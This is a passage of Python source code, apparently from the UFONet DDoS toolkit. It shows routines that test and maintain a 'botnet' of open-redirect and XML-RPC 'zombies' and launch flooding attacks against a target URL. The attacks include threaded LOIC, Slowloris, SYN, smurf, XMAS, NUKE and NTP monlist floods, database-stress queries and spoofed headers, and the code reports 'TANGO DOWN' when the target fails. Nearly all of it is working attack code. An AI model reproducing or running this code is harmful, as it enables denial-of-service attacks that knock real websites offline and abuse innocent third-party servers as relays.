  4074. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4075. else:
  4076. print("[Info] [AI] -> [NOT vulnerable...]")
  4077. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4078. print('-'*21)
  4079. print('='*18)
  4080. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4081. print('='*18)
  4082. if self.options.testall: # testing_all
  4083. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4084. else:
  4085. # update 'rpcs' list
  4086. if num_active_rpcs == 0:
  4087. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4088. return
  4089. else:
  4090. if not self.options.forceyes:
  4091. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4092. print('-'*25)
  4093. else:
  4094. update_reply = "Y"
  4095. if update_reply == "n" or update_reply == "N":
  4096. print("[AI] "+self.exit_msg+"\n")
  4097. return
  4098. else:
  4099. self.update_rpcs(rpcs_ready)
  4100. if not self.options.upload:
  4101. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4102. def testing(self, zombies):
  4103. # test Open Redirect exploiting and show statistics
  4104. # HTTP HEAD check
  4105. army = 0
  4106. print ("Are 'they' alive? :-) (HEAD Check):")
  4107. print('='*35)
  4108. num_active_zombies = 0
  4109. num_failed_zombies = 0
  4110. active_zombies = []
  4111. print("Trying:", len(zombies))
  4112. print('-'*21)
  4113. for zombie in zombies:
  4114. zombie = str(zombie)
  4115. if zombie.startswith("http://") or zombie.startswith("https://"):
  4116. # send HEAD connection
  4117. self.head = True
  4118. try:
  4119. self.connect_zombies(zombie)
  4120. except:
  4121. pass
  4122. while self.herd.no_more_zombies() == False:
  4123. time.sleep(1)
  4124. for zombie in self.herd.done:
  4125. zombie = str(zombie)
  4126. t = urlparse(zombie)
  4127. if self.herd.get_result(zombie):
  4128. code_reply = self.herd.get_result(zombie)
  4129. self.head = False
  4130. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4131. name_zombie = t.netloc
  4132. if name_zombie == "":
  4133. name_zombie = zombie
  4134. print("Zombie:", name_zombie)
  4135. print("Status: OK ["+ code_reply + "]")
  4136. num_active_zombies = num_active_zombies + 1
  4137. active_zombies.append(zombie)
  4138. elif code_reply == "401":
  4139. print("Zombie:", t.netloc)
  4140. print("Status: Unauthorized ["+ code_reply + "]")
  4141. num_failed_zombies = num_failed_zombies + 1
  4142. elif code_reply == "403":
  4143. print("Zombie:", t.netloc)
  4144. print("Status: Error Forbidden ["+ code_reply + "]")
  4145. num_failed_zombies = num_failed_zombies + 1
  4146. elif code_reply == "404":
  4147. print("Zombie:", t.netloc)
  4148. print("Status: Not Found ["+ code_reply + "]")
  4149. num_failed_zombies = num_failed_zombies + 1
  4150. elif code_reply == "500":
  4151. print("Zombie:", t.netloc)
  4152. print("Status: Internal Server Error ["+ code_reply + "]")
  4153. num_failed_zombies = num_failed_zombies + 1
  4154. else:
  4155. print("Zombie:", t.netloc, "\nVector:", zombie)
  4156. print("Status: Not Allowed ["+ code_reply + "]")
  4157. num_failed_zombies = num_failed_zombies + 1
  4158. else:
  4159. if self.options.verbose:
  4160. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4161. print("Zombie:", zombie)
  4162. print("Status: Malformed!")
  4163. num_failed_zombies = num_failed_zombies + 1
  4164. print('-'*10)
  4165. self.herd.reset()
  4166. print('='*18)
  4167. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4168. print('='*18 + "\n")
  4169. print('='*22)
  4170. if num_active_zombies > 0:
  4171. # check url parameter vectors
  4172. print ("Checking for payloads:")
  4173. print('='*22)
  4174. print("Trying:", num_active_zombies)
  4175. print('-'*21)
  4176. zombies_ready = []
  4177. num_waiting_zombies = 0
  4178. if num_active_zombies == 0:
  4179. num_disconnected_zombies = num_failed_zombies
  4180. else:
  4181. num_disconnected_zombies = 0
  4182. for zombie in active_zombies:
  4183. zombie = str(zombie)
  4184. t = urlparse(zombie)
  4185. name_zombie = t.netloc
  4186. if name_zombie == "":
  4187. name_zombie = zombie
  4188. self.payload = True
  4189. try:
  4190. self.connect_zombies(zombie)
  4191. except:
  4192. pass
  4193. self.payload = False
  4194. while self.herd.no_more_zombies() == False:
  4195. time.sleep(1)
  4196. for zombie in self.herd.done:
  4197. zombie = str(zombie)
  4198. t = urlparse(zombie)
  4199. name_zombie = t.netloc
  4200. if name_zombie == "":
  4201. name_zombie = zombie
  4202. payload_zombie = zombie
  4203. payload_reply = ""
  4204. print("Vector:", payload_zombie)
  4205. self.payload = True
  4206. if self.herd.get_result(zombie):
  4207. payload_reply = self.herd.get_result(zombie)
  4208. self.payload = False
  4209. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4210. num_waiting_zombies = num_waiting_zombies + 1
  4211. print("Status:", "Waiting for orders... ;-)")
  4212. zombies_ready.append(zombie)
  4213. else:
  4214. num_disconnected_zombies = num_disconnected_zombies + 1
  4215. print("Status:", "Not ready...")
  4216. army = army + 1
  4217. print('-'*10)
  4218. self.herd.reset()
  4219. print('='*18)
  4220. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4221. print('='*18 + "\n")
  4222. # list of [Zombies] ready to attack
  4223. num_active_zombie = 0
  4224. for z in zombies_ready:
  4225. t = urlparse(z)
  4226. name_zombie = t.netloc
  4227. if name_zombie == "":
  4228. name_zombie = z
  4229. num_active_zombie = num_active_zombie + 1
  4230. if self.options.verbose:
  4231. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4232. if self.options.testall: # testing_all
  4233. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4234. else:
  4235. print('-'*25 + "\n")
  4236. print('='*24)
  4237. print("Working [Zombies]:", num_active_zombie)
  4238. print('='*24)
  4239. if not self.options.forceyes:
  4240. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4241. print('-'*25)
  4242. else:
  4243. update_reply = "Y"
  4244. if update_reply == "n" or update_reply == "N":
  4245. print("[AI] "+self.exit_msg+"\n")
  4246. return
  4247. else:
  4248. self.update_zombies(zombies_ready)
  4249. if not self.options.upload:
  4250. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4251. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4252. else:
  4253. print('-'*25 + "\n")
  4254. print('='*24)
  4255. print("Working [Zombies]:", num_active_zombies)
  4256. print('='*24)
  4257. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4258. def testing_all(self):
  4259. # test whole botnet
  4260. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4261. print('='*35)
  4262. zombies = self.extract_zombies()
  4263. rpcs = self.extract_rpcs()
  4264. aliens = self.extract_aliens()
  4265. droids = self.extract_droids()
  4266. ucavs = self.extract_ucavs()
  4267. try:
  4268. botnet = zombies + rpcs + aliens + droids + ucavs
  4269. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4270. except:
  4271. return
  4272. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4273. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4274. print("\n" + '='*52)
  4275. print("\n+ Total Botnet:", len(botnet))
  4276. print("\n" + '-'*25)
  4277. print("\n+ Total Tested:", len(tested_zombies))
  4278. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4279. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4280. print('='*52 + '\n')
  4281. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4282. if not self.options.forceyes:
  4283. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4284. print('-'*25)
  4285. else:
  4286. update_reply = "Y"
  4287. if update_reply == "n" or update_reply == "N":
  4288. print("[AI] "+self.exit_msg+"\n")
  4289. return
  4290. else:
  4291. if num_disconnected_zombies > 0:
  4292. self.update_zombies(zombies_ready)
  4293. if num_failed_rpcs > 0:
  4294. self.update_rpcs(rpcs_ready)
  4295. if not self.options.upload:
  4296. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4297. else:
  4298. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4299. def attacking(self, zombies, target):
  4300. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4301. if self.options.forcessl:
  4302. if target.startswith("http://"):
  4303. target = target.replace("http://", "https://") # force SSL/TLS
  4304. if target.startswith("http://") or target.startswith("https://"):
  4305. print("Attacking:", target)
  4306. print('='*55, "\n")
  4307. # send Open Redirect injection (multiple zombies > one target url)
  4308. reply = self.injection(target, zombies)
  4309. else:
  4310. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4311. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4312. # perform some other extra attacks (such as DoS techniques)
  4313. time.sleep(2) # aiming (multi-threading flow time compensation)
  4314. if loic:
  4315. try:
  4316. self.options.loic = int(loic)
  4317. except:
  4318. self.options.loic = 100 # default LOIC requests
  4319. if self.options.loic < 1:
  4320. self.options.loic = 100
  4321. self.instance = LOIC() # instance main class for LOIC operations
  4322. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4323. self.t1.daemon = True # extra weapons are threaded as daemons
  4324. self.t1.start()
  4325. self.update_loic_stats() # add new LOIC attack to mothership stats
  4326. if loris:
  4327. try:
  4328. self.options.loris = int(loris)
  4329. except:
  4330. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4331. if self.options.loris < 1:
  4332. self.options.loris = 101
  4333. self.instance = LORIS() # instance main class for LORIS operations
  4334. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4335. self.t2.daemon = True
  4336. self.t2.start()
  4337. self.update_loris_stats() # add new LORIS attack to mothership stats
  4338. if ufosyn:
  4339. try:
  4340. self.options.ufosyn = int(ufosyn)
  4341. except:
  4342. self.options.ufosyn = 100 # default UFOSYN requests
  4343. if self.options.ufosyn < 1:
  4344. self.options.ufosyn = 100
  4345. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4346. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4347. self.t3.daemon = True
  4348. self.t3.start()
  4349. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4350. if spray:
  4351. try:
  4352. self.options.spray = int(spray)
  4353. except:
  4354. self.options.spray = 100 # default SPRAY requests
  4355. if self.options.spray < 1:
  4356. self.options.spray = 100
  4357. self.instance = SPRAY() # instance main class for SPRAY operations
  4358. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4359. self.t4.daemon = True
  4360. self.t4.start()
  4361. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4362. if smurf:
  4363. try:
  4364. self.options.smurf = int(smurf)
  4365. except:
  4366. self.options.smurf = 101 # default SMURF requests
  4367. if self.options.smurf < 1:
  4368. self.options.smurf = 101
  4369. self.instance = SMURF() # instance main class for SMURF operations
  4370. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4371. self.t5.daemon = True
  4372. self.t5.start()
  4373. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4374. if xmas:
  4375. try:
  4376. self.options.xmas = int(xmas)
  4377. except:
  4378. self.options.xmas = 101 # default XMAS requests
  4379. if self.options.xmas < 1:
  4380. self.options.xmas = 101
  4381. self.instance = XMAS() # instance main class for XMAS operations
  4382. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4383. self.t6.daemon = True
  4384. self.t6.start()
  4385. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4386. if nuke:
  4387. if sys.platform == "linux" or sys.platform == "linux2":
  4388. try:
  4389. self.options.nuke = int(nuke)
  4390. except:
  4391. self.options.nuke = 10000 # default NUKE requests
  4392. if self.options.nuke < 1:
  4393. self.options.nuke = 10000
  4394. self.instance = NUKE() # instance main class for NUKE operations
  4395. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4396. self.t7.daemon = True # extra weapons are threaded as daemons
  4397. self.t7.start()
  4398. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4399. else:
  4400. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4401. if tachyon:
  4402. try:
  4403. self.options.tachyon = int(tachyon)
  4404. except:
  4405. self.options.tachyon = 1000 # default TACHYON requests
  4406. if self.options.tachyon < 1:
  4407. self.options.tachyon = 1000
  4408. self.instance = TACHYON() # instance main class for TACHYON operations
  4409. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4410. self.t8.daemon = True
  4411. self.t8.start()
  4412. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4413. if monlist:
  4414. try:
  4415. self.options.monlist = int(monlist)
  4416. except:
  4417. self.options.monlist = 1000 # default MONLIST requests
  4418. if self.options.monlist < 1:
  4419. self.options.monlist = 1000
  4420. self.instance = MONLIST() # instance main class for MONLIST operations
  4421. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4422. self.t9.daemon = True
  4423. self.t9.start()
  4424. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4425. def stressing(self, target, zombie):
  4426. # perform a DDoS Web attack against a target, requesting records on target's database
  4427. options = self.options
  4428. db_input = self.options.dbstress
  4429. def random_key(length):
  4430. key = ''
  4431. for i in range(length):
  4432. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4433. return key
  4434. # generating random alphanumeric queries
  4435. if self.db_flash > 9: # set db flash start on: 10
  4436. length = 1024 # search a heavy random length query (db flash): 1024
  4437. self.db_flash = 0 # reset db flash counter
  4438. else:
  4439. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4440. key = str(random_key(length))
  4441. if self.db_flash > 9:
  4442. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4443. else:
  4444. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4445. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4446. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4447. if not target.endswith('/'): # add "/" to end of target
  4448. target = target + "/"
  4449. url = zombie + target + db_input + key
  4450. req = urllib.request.Request(url, None, headers)
  4451. if options.proxy: # set proxy
  4452. self.proxy_transport(options.proxy)
  4453. try:
  4454. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4455. except urllib.error.HTTPError as e:
  4456. if e.code == 401:
  4457. print('[Info] [DBStress] Not authorized')
  4458. elif e.code == 404:
  4459. print('[Info] [DBStress] Not found')
  4460. elif e.code == 503:
  4461. print('[Info] [DBStress] Service unavailable')
  4462. else:
  4463. print('[Info] [DBStress] Unknown error')
  4464. else:
  4465. print('[Info] [DBStress] Database query: HIT!')
  4466. def attackme(self, zombies):
  4467. # perform a DDoS Web attack against yourself
  4468. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4469. print('='*21 + "\n")
  4470. self.doll=Doll(self)
  4471. self.doll.start()
  4472. while not self.doll._armed:
  4473. time.sleep(1)
  4474. # send Open Redirect injection (multiple zombies-multiple target urls)
  4475. target = ""
  4476. self.injection(target, zombies)
  4477. self.doll.shutdown()
  4478. self.doll.join()
  4479. self.herd.list_fails()
  4480. def check_target_status(self):
  4481. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4482. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4483. if not self.options.forceyes:
  4484. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4485. print("\n" + '-'*25)
  4486. else:
  4487. update_reply = "N"
  4488. if update_reply == "y" or update_reply == "Y":
  4489. try: # send HEAD connection
  4490. self.head = True
  4491. reply = self.connect_zombie(target)
  4492. self.head = False
  4493. if reply:
  4494. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4495. else:
  4496. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4497. self.update_targets_crashed() # update targets crashed stats
  4498. self.update_mothership_stats() # update mothership completed attack stats
  4499. except Exception:
  4500. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4501. if DEBUG == True:
  4502. traceback.print_exc()
  4503. return
  4504. else:
  4505. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4506. self.update_targets_crashed() # update targets crashed stats
  4507. self.update_mothership_stats() # update mothership completed attack stats
  4508. return
  4509. def starting_target_check(self, target, head_check):
  4510. options = self.options
  4511. head_check_here = False
  4512. head_check_external = False
  4513. if options.disablehead: # check at start is disabled (skipping!)
  4514. print("[Info] [AI] Skipping external check...\n")
  4515. head_check_here = True
  4516. head_check_external = True
  4517. else:
  4518. if head_check:
  4519. if not options.attackme:
  4520. print("[AI] Launching: 'Is target up?' check...\n")
  4521. try: # send HEAD connection
  4522. self.head = True
  4523. reply = self.connect_zombie(target)
  4524. self.head = False
  4525. if reply:
  4526. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4527. head_check_here = True
  4528. else:
  4529. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4530. head_check_here = False
  4531. except Exception:
  4532. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4533. if DEBUG == True:
  4534. traceback.print_exc()
  4535. head_check_here = False
  4536. else: # check if local IP/PORT is listening on mothership
  4537. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4538. try:
  4539. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4540. result = sock.connect_ex(('0.0.0.0',8080))
  4541. if result == 0 or result == 110: # black magic
  4542. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4543. head_check_here = True
  4544. else:
  4545. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4546. head_check_here = False
  4547. except Exception:
  4548. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4549. if DEBUG == True:
  4550. traceback.print_exc()
  4551. head_check_here = False
  4552. else:
  4553. head_check_here = True
  4554. # check target using external check services
  4555. self.external = True
  4556. if not options.attackme:
  4557. try:
  4558. target = self.parse_url_encoding(target) # parse for proper url encoding
  4559. try:
  4560. url = self.external_check_service1 + target # check from external service [1]
  4561. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4562. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4563. if options.proxy: # set proxy
  4564. self.proxy_transport(options.proxy)
  4565. req = urllib.request.Request(url, None, headers)
  4566. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4567. if b"returned code 200 OK and is up" in external_reply:
  4568. t = urlparse(self.external_check_service1)
  4569. name_external1 = t.netloc
  4570. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4571. head_check_external = True
  4572. except:
  4573. url = self.external_check_service2 + target # check from external service [2]
  4574. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4575. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4576. if options.proxy: # set proxy
  4577. self.proxy_transport(options.proxy)
  4578. req = urllib.request.Request(url, None, headers)
  4579. try:
  4580. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4581. if b"It's just you" in req_reply:
  4582. t = urlparse(self.external_check_service2)
  4583. name_external2 = t.netloc
  4584. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4585. head_check_external = True
  4586. else:
  4587. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4588. head_check_external = False
  4589. except urllib.error.HTTPError as e:
  4590. if e:
  4591. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  4592. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4593. head_check_external = False
  4594. except Exception:
  4595. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4596. if DEBUG == True:
  4597. traceback.print_exc()
  4598. head_check_external = False
  4599. else:
  4600. try: # check mothership from public ip / NAT using HEAD request
  4601. try:
  4602. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4603. reply = urllib.request.urlopen(req)
  4604. except Exception:
  4605. reply = None
  4606. if reply:
  4607. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4608. head_check_external = True
  4609. else:
  4610. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4611. head_check_external = False
  4612. head_check_here = False # stop attack if not public IP available
  4613. except Exception:
  4614. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4615. head_check_here = False # stop attack if not public IP available
  4616. if DEBUG == True:
  4617. traceback.print_exc()
  4618. head_check_external = False
  4619. self.external = False
  4620. return head_check_here, head_check_external
  4621. def injection(self, target, zombies, head_check = True):
  4622. options = self.options
  4623. # check target's integrity at start
  4624. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4625. # ask user to confirm the attack
  4626. if head_check_here == True or head_check_external == True:
  4627. if not self.options.forceyes:
  4628. if not options.attackme:
  4629. if not options.disablehead:
  4630. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4631. else:
  4632. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4633. else:
  4634. if not options.disablehead:
  4635. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4636. else:
  4637. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4638. else:
  4639. start_reply = "Y"
  4640. if start_reply == "y" or start_reply == "Y":
  4641. if options.attackme:
  4642. total_rounds = 2 # default rounds for attackme
  4643. else:
  4644. total_rounds = options.rounds # extract number of rounds
  4645. try:
  4646. total_rounds = int(total_rounds)
  4647. except:
  4648. total_rounds = 1
  4649. if not total_rounds:
  4650. total_rounds = 1
  4651. if total_rounds <= 0:
  4652. total_rounds = 1
  4653. self.herd.cleanup()
  4654. num_round = 1
  4655. num_hits = 0
  4656. num_zombie = 1
  4657. # start to attack the target with [MODS]
  4658. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4659. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4660. ex.daemon = True # extra weapons are threaded as daemons
  4661. ex.start()
  4662. # start to attack the target with [ARMY]
  4663. zombies = self.extract_zombies() # extract zombies from file
  4664. if zombies:
  4665. self.total_zombie = len(zombies)
  4666. else:
  4667. self.total_zombie = 0
  4668. return
  4669. self.herd=Herd(self)
  4670. if not self.options.disablepurge:
  4671. self.discardzombies = []
  4672. self.discard_aliens = []
  4673. self.discard_droids = []
  4674. self.discard_rpcs = []
  4675. self.discard_ucavs = []
  4676. total_disc_zombies = 0
  4677. self.num_discard_zombies = 0
  4678. self.num_discard_aliens = 0
  4679. self.num_discard_droids = 0
  4680. self.num_discard_rpcs = 0
  4681. self.num_discard_ucavs = 0
  4682. self.empty_zombies = False
  4683. for i in range(0, int(total_rounds)): # start attacking using rounds
  4684. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4685. print('='*42)
  4686. print('Starting round:', num_round, ' of ', total_rounds)
  4687. print('='*42)
  4688. self.herd.reset()
  4689. self.extra_zombies_lock = True
  4690. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4691. self.send_zombies(zombies) # send [Zombies]
  4692. if not self.options.attackme:
  4693. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4694. if self.options.verbose:
  4695. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4696. self.send_extra_zombies() # send [ARMY]
  4697. while self.extra_zombies_lock == True:
  4698. time.sleep(1) # wait for [ARMY] to return
  4699. if self.options.verbose:
  4700. print("\n" + '='*42)
  4701. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4702. else:
  4703. zombies_lock = 0
  4704. if self.options.expire: # set timing for purge
  4705. try:
  4706. timing = int(self.options.expire)
  4707. except:
  4708. timing = self.expire_timing # default timing for purge
  4709. else:
  4710. timing = self.expire_timing # default timing for purge
  4711. if timing < 1:
  4712. timing = self.expire_timing # default timing for purge
  4713. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4714. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4715. zombies_lock = zombies_lock + 1
  4716. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4717. if self.options.verbose:
  4718. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4719. break
  4720. else:
  4721. time.sleep(1)
  4722. if self.options.verbose:
  4723. print("\n" + '='*42)
  4724. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4725. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4726. self.check_target_status()
  4727. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4728. self.abandoning_zombies() # check for abandoning zombies
  4729. for zombie in self.herd.done: # check for num hits
  4730. if self.herd.connection_failed(zombie) == False:
  4731. num_hits = num_hits + 1
  4732. num_zombie = num_zombie + 1
  4733. if num_zombie > self.total_zombie:
  4734. num_zombie = 1
  4735. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4736. check_is_loading = self.check_is_loading(target)
  4737. self.herd.dump_html()
  4738. if not self.options.disablepurge:
  4739. if self.empty_zombies == True:
  4740. break # exit routine when not any more zombies
  4741. num_round = num_round + 1
  4742. if self.options.verbose:
  4743. print("\n" + '='*42)
  4744. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4745. if self.options.loic: # try to stop daemons/threads for extra weapons
  4746. self.t1.join()
  4747. if self.options.loris:
  4748. self.t2.join()
  4749. if self.options.ufosyn:
  4750. self.t3.join()
  4751. if self.options.spray:
  4752. self.t4.join()
  4753. if self.options.smurf:
  4754. self.t5.join()
  4755. if self.options.xmas:
  4756. self.t6.join()
  4757. if self.options.nuke:
  4758. self.t7.join()
  4759. if self.options.tachyon:
  4760. self.t8.join()
  4761. if self.options.monlist:
  4762. self.t9.join()
  4763. if self.options.target_list:
  4764. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4765. print ("\x1b[2J\x1b[H") # black magic
  4766. if not self.options.attackme: # show herd results
  4767. self.herd.dump()
  4768. else: # show doll results
  4769. print('='*21)
  4770. print("\n[Info] [AI] Mothership transmission...\n")
  4771. num_real_zombies = len(self.doll.real_zombies)
  4772. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4773. for z in self.doll.real_zombies: # show only alien verified zombies
  4774. for x in z:
  4775. print(" - " + str(x))
  4776. self.herd.dump_html(True) # show (all) zombies statistics
  4777. if not self.options.attackme:
  4778. if not self.options.disablepurge:
  4779. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4780. else:
  4781. if not options.target_list:
  4782. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4783. else:
  4784. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4785. self.update_mothership_stats() # update mothership stats
  4786. if not self.options.disablepurge:
  4787. print('='*21+ "\n")
  4788. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4789. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4790. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4791. elif total_disc_zombies > 1:
  4792. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4793. if self.num_discard_zombies > 0:
  4794. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4795. if self.num_discard_aliens > 0:
  4796. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4797. if self.num_discard_droids > 0:
  4798. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4799. if self.num_discard_rpcs > 0:
  4800. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4801. if self.num_discard_ucavs > 0:
  4802. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4803. if total_disc_zombies > 0:
  4804. if not self.options.forceyes:
  4805. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4806. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4807. elif total_disc_zombies > 1:
  4808. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4809. else:
  4810. backup_reply = "Y"
